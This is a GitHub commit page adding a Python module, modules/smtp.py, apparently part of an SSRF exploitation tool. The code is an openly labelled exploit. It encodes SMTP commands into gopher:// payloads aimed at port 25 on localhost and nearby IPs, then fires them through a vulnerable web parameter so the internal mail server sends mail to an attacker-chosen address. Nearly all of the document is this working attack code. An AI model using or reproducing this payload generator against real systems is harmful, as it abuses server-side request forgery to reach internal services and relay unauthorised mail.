Skip to content

Commit 4edaaff

Browse files
authored
Add files via upload
1 parent b61576a commit 4edaaff

1 file changed

Lines changed: 45 additions & 0 deletions

File tree

modules/smtp.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
from utils.utils import *
2+
import urllib.parse as urllib
3+
import logging
4+
5+
name = "smtp"
6+
description = "Send a mail via SMTP"
7+
author = "errorfiathck"
8+
documentation = []
9+
10+
class exploit():
11+
mailto = "admin@example.com"
12+
mailfrom = "errorfiathck@Gmail.com"
13+
subject = "SSRF - Got it!"
14+
msg = "SMTP exploit worked"
15+
16+
17+
def __init__(self, requester, args):
18+
logging.info(f"Module '{name}' launched !")
19+
self.mailto = input("[MAILTO] Give a mail (e.g: hacker@example.com): ")
20+
21+
gen_host = gen_ip_list("127.0.0.1", args.level)
22+
for ip in gen_host:
23+
port = 25
24+
commands = [
25+
'MAIL FROM:' + self.mailfrom,
26+
'RCPT To:' + self.mailto,
27+
'DATA',
28+
'From:' + self.mailfrom,
29+
'Subject:' + self.subject,
30+
'Message:' + self.msg,
31+
'.',
32+
''
33+
]
34+
35+
data = "%0A".join(commands)
36+
data = urllib.quote_plus(data).replace("+","%20")
37+
data = data.replace("%2F","/")
38+
data = data.replace("%25","%")
39+
data = data.replace("%3A",":")
40+
payload = wrapper_gopher(data, ip , port)
41+
logging.info("Generated payload : {}".format(payload))
42+
43+
44+
logging.info("Mail sent, look your inbox !")
45+
r = requester.do_request(args.param, payload)

0 commit comments

Comments
 (0)